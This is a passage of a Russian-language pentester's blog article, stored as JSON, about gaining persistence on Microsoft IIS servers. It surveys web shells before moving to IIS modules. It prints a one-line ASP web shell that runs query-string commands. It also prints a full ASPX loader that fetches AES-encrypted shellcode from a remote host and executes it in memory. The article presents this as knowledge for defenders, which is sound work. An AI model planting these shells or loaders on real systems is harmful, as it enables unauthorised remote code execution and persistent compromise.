{"id":372517,"date":"2024-05-21T05:14:23","date_gmt":"2024-05-21T05:14:23","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=372517"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2024-05-21T05:14:23","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=372517","title":{"rendered":"<span>\u041e\u0442 HTTP \u043a RCE. \u041a\u0430\u043a \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u043a\u0434\u043e\u0440 \u0432 IIS<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412\u0441\u0435\u043c \u0434\u043e\u0431\u0440\u044b\u0439 \u0434\u0435\u043d\u044c! \u041c\u0435\u043d\u044f \u0437\u043e\u0432\u0443\u0442 \u041c\u0438\u0445\u0430\u0438\u043b \u0416\u043c\u0430\u0439\u043b\u043e, \u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 CICADA8 \u0426\u0435\u043d\u0442\u0440\u0430 \u0438\u043d\u043d\u043e\u0432\u0430\u0446\u0438\u0439 \u041c\u0422\u0421.<\/p>\n<p>\u041d\u0430 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f <a href=\"https:\/\/qna.habr.com\/q\/465956\">\u0438\u043d\u0441\u0442\u0430\u043d\u0441\u044b<\/a> Internet Information Services (IIS). \u042d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u041d\u043e \u0437\u043d\u0430\u0435\u0442\u0435 \u043b\u0438 \u0432\u044b, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0435 IIS \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u043a\u0434\u043e\u0440 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435?<\/p>\n<p>\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u043f\u043e\u043a\u0430\u0436\u0443 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Microsoft \u2014 Internet Information Services. \u041c\u044b \u043f\u043e\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0443\u0435\u043c\u0441\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0438 \u043d\u0430 C++, \u0438\u0437\u0443\u0447\u0438\u043c IIS Components \u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0431\u0435\u043a\u0434\u043e\u0440 \u0447\u0435\u0440\u0435\u0437 IIS Module.<\/p>\n<p>\u0414\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c\u0441\u044f \u0441\u0440\u0430\u0437\u0443: \u044f \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u044d\u0442\u043e \u0432\u0441\u0451 \u043d\u0435 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u043f\u043e\u0448\u043b\u0438 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u0437\u043d\u0430\u043b\u0438, \u0433\u0434\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0431\u0435\u043a\u0434\u043e\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438. \u041f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0451\u043d \u2014 \u0437\u043d\u0430\u0447\u0438\u0442 \u0432\u043e\u043e\u0440\u0443\u0436\u0451\u043d.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/93f\/d87\/72f\/93fd8772f763818a3b7f95a8b0286134.jpg\" width=\"1280\" height=\"720\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/93f\/d87\/72f\/93fd8772f763818a3b7f95a8b0286134.jpg\" data-blurred=\"true\"\/><\/figure>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u0412\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u043d\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043e\u0447\u0435\u043d\u044c \u0447\u0430\u0441\u0442\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0443 IIS. \u041d\u0430 \u043e\u0434\u043d\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0438\u043c\u0435\u043b \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412 \u0442\u043e\u0442 \u0436\u0435 \u0432\u0435\u0447\u0435\u0440 \u044f \u0437\u0430\u0434\u0430\u043b\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0410 \u0447\u0442\u043e, \u0435\u0441\u043b\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u043d\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 IIS?\u00bb.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/27d\/4b3\/eb3\/27d4b3eb378fb8a7310034c07379cc2c.png\" alt=\"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0430 IIS\" title=\"\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0430 IIS\" width=\"1123\" height=\"670\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/27d\/4b3\/eb3\/27d4b3eb378fb8a7310034c07379cc2c.png\"\/><\/p>\n<div><figcaption>\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0437\u0430\u0441\u0442\u0430\u0432\u043a\u0430 IIS<\/figcaption><\/div>\n<\/figure>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, Windows \u0434\u0430\u0451\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0443: \u0445\u043e\u0447\u0435\u0448\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043b\u044e\u0431\u043e\u0439 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 Enterprise-\u0448\u0442\u0443\u043a\u0438? \u0414\u0430 \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u043e\u0442 \u0442\u0435\u0431\u0435 \u043a\u0443\u0447\u0430 API! <\/p>\n<p>\u041f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043c\u043e\u043d\u0441\u0442\u0440\u0430 \u0424\u0440\u0430\u043d\u043a\u0435\u043d\u0448\u0442\u0435\u0439\u043d\u0430, \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043e\u0431 \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u0445 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u0430 IIS.<\/p>\n<h2>\u041a\u0430\u0437\u0438\u043d\u043e, \u0431\u043b\u044d\u043a\u0434\u0436\u0435\u043a \u0438 \u0448\u0435\u043b\u043b\u044b<\/h2>\n<p>\u0418\u0437\u0434\u0430\u0432\u043d\u0430 \u0441\u0430\u043c\u044b\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c <a href=\"https:\/\/attack.mitre.org\/tactics\/TA0003\/\">\u043f\u0435\u0440\u0441\u0438\u0441\u0442\u0430<\/a> (\u0430 \u0432 \u043e\u0441\u043e\u0431\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430) \u0431\u044b\u043b\u0438 <a href=\"https:\/\/attack.mitre.org\/techniques\/T1505\/003\/\">\u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b<\/a>. \u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0438\u0437-\u0437\u0430 \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b, \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0433\u043e \u0432\u0435\u0441\u0430 \u0438 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0438\u0445 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0435.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ade\/7e9\/5ba\/ade7e95bace72739258ec7367a6570c5.png\" alt=\"\u0417\u0434\u0435\u0441\u044c \u0434\u0440\u0443\u0436\u043d\u043e \u0441\u043c\u0435\u0451\u043c\u0441\u044f\" title=\"\u0417\u0434\u0435\u0441\u044c \u0434\u0440\u0443\u0436\u043d\u043e \u0441\u043c\u0435\u0451\u043c\u0441\u044f\" width=\"1136\" height=\"851\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ade\/7e9\/5ba\/ade7e95bace72739258ec7367a6570c5.png\"\/><\/p>\n<div><figcaption>\u0417\u0434\u0435\u0441\u044c \u0434\u0440\u0443\u0436\u043d\u043e \u0441\u043c\u0435\u0451\u043c\u0441\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0443, \u0442\u043e \u0438\u043c \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043b\u044e\u0431\u043e\u0439 \u0436\u0435\u043b\u0430\u044e\u0449\u0438\u0439. \u041d\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043f\u0440\u0430\u0432\u0434\u0430?<\/p>\n<p>\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0438. \u0412\u043e\u0437\u044c\u043c\u0451\u043c <a href=\"https:\/\/github.com\/tennc\/webshell\/blob\/master\/fuzzdb-webshell\/asp\/cmdasp.aspx\">\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b .aspx<\/a>. \u0417\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0432 <code>C:\\inetpub\\wwwroot<\/code>, \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u043f\u0440\u0430\u0432\u0430 \u0447\u0435\u0440\u0435\u0437 icacls, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7e9\/a26\/afc\/7e9a26afce17ffdaf575e056c2f3f266.png\" alt=\"\u0410\u0431\u0440\u0430\u043a\u0430\u0434\u0430\u0431\u0440\u0430\" title=\"\u0410\u0431\u0440\u0430\u043a\u0430\u0434\u0430\u0431\u0440\u0430\" width=\"1247\" height=\"743\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7e9\/a26\/afc\/7e9a26afce17ffdaf575e056c2f3f266.png\"\/><\/p>\n<div><figcaption>\u0410\u0431\u0440\u0430\u043a\u0430\u0434\u0430\u0431\u0440\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u042f \u0437\u043d\u0430\u043b, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c \u0432\u044b\u0441\u043e\u043a\u0438\u0435, \u043d\u043e \u0437\u043d\u0430\u043d\u0438\u044f \u044d\u043b\u044c\u0444\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u043b.<\/p>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u0435\u0441\u0442\u044c \u0438 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b.<\/p>\n<pre><code class=\"cs\">&lt;%response.write CreateObject(\"WScript.Shell\").Exec(Request.QueryString(\"cmd\")).StdOut.Readall()%><\/code><\/pre>\n<p>\u0420\u043e\u0432\u043d\u043e \u043a\u0430\u043a \u0438 \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0433\u0440\u043e\u043c\u043e\u0437\u0434\u043a\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ASPX \u0448\u0435\u043b\u043b\u043a\u043e\u0434-\u0440\u0430\u043d\u043d\u0435\u0440 \u0441 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430 \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u043e\u0439 AES. <\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u0430\u043a \u0442\u0435\u0431\u0435 \u0442\u0430\u043a\u043e\u0435, \u0418\u043b\u043e\u043d \u041c\u0430\u0441\u043a?<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cs\">&lt;%@ Page Language=\"C#\" AutoEventWireup=\"true\" %> &lt;%@ Import Namespace=\"System.IO\" %> &lt;%@ Import Namespace=\"System.Security.Cryptography\" %> &lt;%@ Import Namespace=\"System.Net\" %> &lt;%@ Import Namespace=\"System.Linq\" %>  &lt;script runat=\"server\">  [System.Runtime.InteropServices.DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);  [System.Runtime.InteropServices.DllImport(\"kernel32\")] private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);  [System.Runtime.InteropServices.DllImport(\"kernel32.dll\", SetLastError = true, ExactSpelling = true)] private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);  [   System.Runtime.InteropServices.DllImport(\"kernel32.dll\")] private static extern IntPtr GetCurrentProcess();  private byte[] Decrypt(byte[] data, byte[] key, byte[] iv) {     using (var aes = Aes.Create())     {         aes.KeySize = 256;         aes.BlockSize = 128;          \/\/ Keep this in mind when you view your decrypted content as the size will likely be different.         aes.Padding = PaddingMode.Zeros;          aes.Key = key;         aes.IV = iv;          using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))         {             return PerformCryptography(data, decryptor);         }     } }  private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform) {     using (var ms = new MemoryStream())     using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))     {         cryptoStream.Write(data, 0, data.Length);         cryptoStream.FlushFinalBlock();         return ms.ToArray();     } }  private byte[] GetArray(string url) {     using (WebClient webClient = new WebClient())     {         string content = webClient.DownloadString(url);         byte[] byteArray = content.Split(',')         .Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))         .ToArray();         return byteArray;     } }  private static Int32 MEM_COMMIT=0x1000; private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;  protected void Page_Load(object sender, EventArgs e) {     IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);     if(mem == null)     {         return;     }      \/\/ Encrypted shellcode     byte[] Enc = GetArray(\"http:\/\/192.168.x.x\/enc.txt\");      \/\/ Key     byte[] Key = GetArray(\"http:\/\/192.168.x.x\/key.txt\");      \/\/ IV     byte[] Iv = GetArray(\"http:\/\/192.168.x.x\/iv.txt\");      \/\/ Decrypt our shellcode     byte[] e4qRS= Decrypt(Enc, Key, Iv);      \/\/ Allocate our memory buffer     IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);          \/\/ Copy our decrypted shellcode ito the buffer     System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);      \/\/ Create a thread that contains our buffer     IntPtr aj5QpPE = IntPtr.Zero;     IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE); } &lt;\/script> &lt;!DOCTYPE html> &lt;html> &lt;body> &lt;p>Check your listener...&lt;\/p> &lt;\/body> &lt;\/html><\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u0430\u0436\u0435 <a href=\"https:\/\/github.com\/antonioCoco\/SharPyShell\">\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b<\/a> \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u043e\u0432. \u0421\u0432\u0435\u0440\u0445\u0443 \u043a\u043e \u0432\u0441\u0435\u043c\u0443 \u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0446\u0435\u043d\u0438\u0442\u0435\u043b\u0435\u0439 \u2014 <a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Upload%20Insecure%20Files\/Configuration%20IIS%20web.config\/web.config\">\u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c<\/a> web.config. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0431\u0435\u0440\u0438 \u0438 \u043d\u0435 \u0434\u0443\u043c\u0430\u0439! <\/p>\n<p>\u041d\u043e \u043d\u0435\u0442! \u0425\u043e\u0447\u0435\u0442\u0441\u044f \u0447\u0435\u0433\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u044d\u0442\u0430\u043a\u043e\u0433\u043e: \u043d\u043e\u0432\u043e\u0433\u043e, \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0442\u0430\u0436\u0451\u0440-\u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u0440\u043e\u0433\u043d\u0430\u0442\u044c \u0442\u0435\u0431\u044f \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430.<\/p>\n<p>\u0418 \u0442\u0430\u043a\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430\u0448\u043b\u043e\u0441\u044c.<\/p>\n<h2>IIS Components<\/h2>\n<p>\u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0441\u043a\u0430\u0437\u0430\u043b, Microsoft \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u0414\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0 \u0432 IIS \u0431\u044b\u043b\u0438 ISAPI Extensions \u0438 ISAPI Filters. \u042d\u0442\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, \u043d\u043e \u043d\u0430 \u0441\u043c\u0435\u043d\u0443 \u0438\u043c \u043f\u0440\u0438\u0448\u043b\u0438 IIS Handler \u0438 IIS Module \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.<\/p>\n<p>IIS Handler \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 IIS \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0445\u0435\u043d\u0434\u043b\u0435\u0440 \u0432 ASP.NET, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b ASPX (\u043d\u0430\u0448\u0438 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435).<\/p>\n<p>IIS Module \u0442\u0430\u043a\u0436\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435. IIS \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u043c\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u0438 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c. \u0414\u0443\u043c\u0430\u044e, \u044d\u0442\u043e \u043d\u0430\u0448 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442. \u0421\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430 \u0434\u0432\u0430 \u0442\u0438\u043f\u0430: Managed \u0438 Native. Managed \u2014 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 C#, \u0430 Native \u2014 \u043d\u0430 C++. \u0421\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fa2\/de6\/f20\/fa2de6f201856d3f06762bba6f0c72dd.png\" alt=\"\u0414\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS\" 